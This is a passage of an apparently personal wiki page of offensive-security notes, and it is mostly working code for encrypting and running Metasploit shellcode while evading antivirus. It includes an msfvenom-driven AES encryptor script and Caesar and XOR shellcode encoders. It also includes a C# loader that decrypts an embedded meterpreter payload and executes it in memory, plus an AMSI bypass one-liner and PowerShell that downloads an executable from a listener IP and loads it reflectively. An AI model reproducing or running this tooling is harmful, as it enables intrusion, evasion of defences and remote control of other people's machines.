        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
